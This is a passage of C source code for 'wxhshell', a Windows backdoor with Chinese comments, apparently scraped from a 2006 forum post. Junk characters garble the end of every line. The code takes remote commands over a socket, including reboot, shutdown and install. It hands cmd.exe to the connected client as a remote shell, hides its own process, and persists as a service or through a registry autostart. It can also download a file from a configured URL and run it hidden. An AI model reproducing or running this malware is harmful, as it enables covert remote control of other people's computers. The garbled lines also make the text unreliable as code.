  // 帮助 m@c)Xci  
  case '?': { Nc`L;CP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /7kC<  
    break; +rd+0 `}C  
  } fex@,I&  
  // 安装 siI;"?  
  case 'i': { b;n[mk  
    if(Install()) az$FnVNn=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+XJ*N[W  
    else %v|B *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }tz7b#  
    break; [WmM6UEVS  
    } ueudRb  
  // 卸载 G[=c Ss,  
  case 'r': { pP_LR ks}  
    if(Uninstall()) b=vkiO`2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_^4`dW`  
    else \D4:Nt#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CTb%(<r  
    break; XSRsGTCC=  
    } AH^/V}9H  
  // 显示 wxhshell 所在路径 I,tud!p`  
  case 'p': { { FkF  
    char svExeFile[MAX_PATH]; &Jj<h: *  
    strcpy(svExeFile,"\n\r"); /wp6KXm  
      strcat(svExeFile,ExeFile); `3pW]&  
        send(wsh,svExeFile,strlen(svExeFile),0); 'DR!9De  
    break; eFgA 8kY)  
    } 7dWS  
  // 重启 ,bi^P>X  
  case 'b': { jd: 6:Fm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1?}T=)3+$  
    if(Boot(REBOOT)) DQ3<$0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dN q$}  
    else { h{Y",7] !  
    closesocket(wsh); N7"W{"3D  
    ExitThread(0); h`q1  
    } s;e\ pt  
    break; 3`g^  
    } b}`T Ln  
  // 关机 [JiH\+XLPs  
  case 'd': { <I?Zk80  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -RwE%  cr  
    if(Boot(SHUTDOWN)) 1zv'.uu.,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :;}P*T*PU  
    else { ?}oFg#m-<L  
    closesocket(wsh); `?]k{ l1R  
    ExitThread(0); 9{l}bu/u  
    } dPlV>IM$z  
    break; T)/eeZ$  
    } 0J9x9j`&j  
  // 获取shell lA]8&+,ZM  
  case 's': { ?,mmYW6TjB  
    CmdShell(wsh); kP:!/g  
    closesocket(wsh); iS^QTuk3%  
    ExitThread(0); uRvP hkqm  
    break; ,+k\p5P  
  } [y(MCf19  
  // 退出 @gblW*Zhk  
  case 'x': { L!92P{K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %b$>qW\*&  
    CloseIt(wsh); _6Sp QW  
    break; B\~}3!j  
    } -@'FW*b  
  // 离开 Lbgi7|&  
  case 'q': { e'~3oqSvR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q ,g\  
    closesocket(wsh); dO'(2J8  
    WSACleanup(); ytImB`'\  
    exit(1); 5m@V#2^P  
    break; ?<!|  
        } oH@78D0A  
  } Nn6%9PX_)  
  } kiEa<-]  
e~OpofJNb  
  // 提示信息 2y4bwi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *dQSw)R  
} 6nn *]|7  
  } /~1+i'7V.,  
llq<egZpm  
  return; 4#D,?eA7  
} Mx}gN:Wt  
5P2K5,o|n~  
// shell模块句柄 &>O+}>lr9  
int CmdShell(SOCKET sock) \bXa&Lq  
{ =;L|gtH"  
STARTUPINFO si; 4W75T2q#  
ZeroMemory(&si,sizeof(si)); 2 ?C)&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 97Vtn4N3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /vt3>d%B;  
PROCESS_INFORMATION ProcessInfo; :gv"M8AP  
char cmdline[]="cmd"; F59 TZI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KI.unP%  
  return 0; *. t^MP  
} W?& %x(6M  
tQVVhXQ7  
// 自身启动模式 ^iA9%zp  
int StartFromService(void) 7V>M]  
{ X w1*(ffk  
typedef struct *~`(RV  
{ h[ ZN+M  
  DWORD ExitStatus; kJU2C=m@e2  
  DWORD PebBaseAddress;  " bG2:  
  DWORD AffinityMask; PT ~D",k  
  DWORD BasePriority; G@0&8  
  ULONG UniqueProcessId; sO Y:e/_F  
  ULONG InheritedFromUniqueProcessId; +@UV?"d  
}   PROCESS_BASIC_INFORMATION; t20K!}D_  
TeQV?ZQ#}  
PROCNTQSIP NtQueryInformationProcess; xdPx{"C 3  
DU^loB+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P?<y%c<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , gHDx  
_1^'(5f$  
  HANDLE             hProcess; crCJrN=  
  PROCESS_BASIC_INFORMATION pbi; \8tsDG(1 '  
H,J8M{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4-w{BZuS  
  if(NULL == hInst ) return 0; UiWg<_<t  
=4!mAo}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $G>.\t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]:;&1h3'7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gj*9~*xm(  
{g6%(X\r.r  
  if (!NtQueryInformationProcess) return 0; 1C.VnzRnJ  
:UdF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Z>)DN=+  
  if(!hProcess) return 0; `oJ [u:b  
2%1hdA<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pAEx#ck  
~[: 2I  
  CloseHandle(hProcess); t^HRgY'NjM  
*j=% #  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GbyJ:  
if(hProcess==NULL) return 0; Ac6=(B  
U*:!W=XN  
HMODULE hMod; g0H[*"hj  
char procName[255]; 'qi}|I  
unsigned long cbNeeded; ^Cmyx3O^  
9Flb|G%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H]s.=.Ki  
6@o*xK7L  
  CloseHandle(hProcess); POW>~Tof1  
QJNFA}*>  
if(strstr(procName,"services")) return 1; // 以服务启动 0x7'^Z>-oe  
$kgVa^  
  return 0; // 注册表启动 NA*&#X#~  
} l6B@qYLZ  
3 $w65=  
// 主模块 ^aQ"E9  
int StartWxhshell(LPSTR lpCmdLine) g}i61(  
{ c,22*.V/  
  SOCKET wsl; zi:BF60]=  
BOOL val=TRUE; .hiSw  
  int port=0; -di o5a  
  struct sockaddr_in door; 0c &+|> !  
o  K@"f9  
  if(wscfg.ws_autoins) Install(); e )ZUO_Q$  
d _ e WcI  
port=atoi(lpCmdLine); D$N /FJ8|G  
Y7nvHU|+o  
if(port<=0) port=wscfg.ws_port; _wcNgFx  
BY*Q_Et  
  WSADATA data; |%wX*zaf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %\DX#.  
GfG|&VNlz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'S~5"6r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~ 1pr~  
  door.sin_family = AF_INET; (t.Nk[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x"(KBEK~  
  door.sin_port = htons(port); *VeRVaBl  
5;S.H#YOpO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bcR_E5x$  
closesocket(wsl); zQA`/&=Y  
return 1; H"KCK6  
} ;=@0'xPEa-  
&zs$x?/  
  if(listen(wsl,2) == INVALID_SOCKET) { '|4!5)/K  
closesocket(wsl); 2tLJU  Z1  
return 1; eQ"E   
} hcc/=_hA  
  Wxhshell(wsl); -&;TA0~;  
  WSACleanup(); {!`4iiF  
M;NX:mX9  
return 0; 6RM/GM  
Ie^l~ Gb  
} f5k6`7Vj]  
7KPwQ?SjT  
// 以NT服务方式启动 $N\Ja*g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F"< v aqT2  
{ kLY^!  
DWORD   status = 0; ca}2TT&t  
  DWORD   specificError = 0xfffffff; -+5>|N#  
Tr|JYLwF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zov~B-Of:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,47qw0=C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &R siVBA  
  serviceStatus.dwWin32ExitCode     = 0; q =Il|Nb>  
  serviceStatus.dwServiceSpecificExitCode = 0; H[UlY?&+  
  serviceStatus.dwCheckPoint       = 0; w*!aZ,P  
  serviceStatus.dwWaitHint       = 0; RyNs6  
I|J/F}@p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f-d1KNY  
  if (hServiceStatusHandle==0) return; |'.  
uocGbi:V';  
status = GetLastError(); 8[>zG2  
  if (status!=NO_ERROR) W`&hp6Jq  
{ L(o15  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e*!kZAf  
    serviceStatus.dwCheckPoint       = 0; V,9cl,z+  
    serviceStatus.dwWaitHint       = 0; 4sM.C9W  
    serviceStatus.dwWin32ExitCode     = status; 0ksa  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?}7p"3j'z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -F92-jBM4  
    return; Jl<2>@  
  } lLD12d  
Z= !*e~j@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a: S -  
  serviceStatus.dwCheckPoint       = 0; X(C$@N  
  serviceStatus.dwWaitHint       = 0; PzGWff!*n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d\Zng!Z'  
} vI]N^j2%  
_~pbqa,  
// 处理NT服务事件,比如:启动、停止 5PW^j\G-f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rGkyGz8>  
{ =mGez )T5\  
switch(fdwControl) uGt-l4  
{ <,(,jU)j  
case SERVICE_CONTROL_STOP: XUw/2"D'?  
  serviceStatus.dwWin32ExitCode = 0; e|9 A716x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c"Sq~X  
  serviceStatus.dwCheckPoint   = 0; p:%loDk  
  serviceStatus.dwWaitHint     = 0; fzA9'i`  
  { X jX2]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xKC[=E>z  
  } X7 w Ky(g  
  return; O~QB!<Q+  
case SERVICE_CONTROL_PAUSE: C-[1iW'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tl].r|yl  
  break;  bF(f*u  
case SERVICE_CONTROL_CONTINUE: 0^ibNiSP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6R5Qy]]E  
  break; ;GI&lpKK  
case SERVICE_CONTROL_INTERROGATE: bTu9;(  
  break; C $JmzrE  
}; "nWw;-V}}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ERt{H3eCcJ  
} EZj9wd"u  
3Y~>qGQwh  
// 标准应用程序主函数 9K&:V(gmw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h} EPnC}  
{ rbCAnwA2  
7yba04D)  
// 获取操作系统版本 Lxk[;j+  
OsIsNt=GetOsVer(); rD>f|kA?L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B]$GSEB  
<|\Lm20 G]  
  // 从命令行安装 +]50DxflA  
  if(strpbrk(lpCmdLine,"iI")) Install(); V_:&S2j  
:hV7> rr  
  // 下载执行文件 ^VACf|0  
if(wscfg.ws_downexe) { 2|bn(QYz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u4_9)P`]0  
  WinExec(wscfg.ws_filenam,SW_HIDE); W T}H>T  
} H4JTGt1"  
l (%1jC8  
if(!OsIsNt) { JLJ;TM'4=  
// 如果时win9x,隐藏进程并且设置为注册表启动 "Yca%:  
HideProc(); @]#1(9P  
StartWxhshell(lpCmdLine); w-{c.x  
} p"Z-6m~  
else +H Usz ?  
  if(StartFromService()) "}JZU!?  
  // 以服务方式启动 6x|jPb  
  StartServiceCtrlDispatcher(DispatchTable); $j?1g#  
else ~!3r&(  
  // 普通方式启动 PzR[KUK  
  StartWxhshell(lpCmdLine); 9$m|'$p3sG  
C/&-l{7  
return 0; ,=mS,r7  
}
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只看该作者 1 发表于: 2006-10-10
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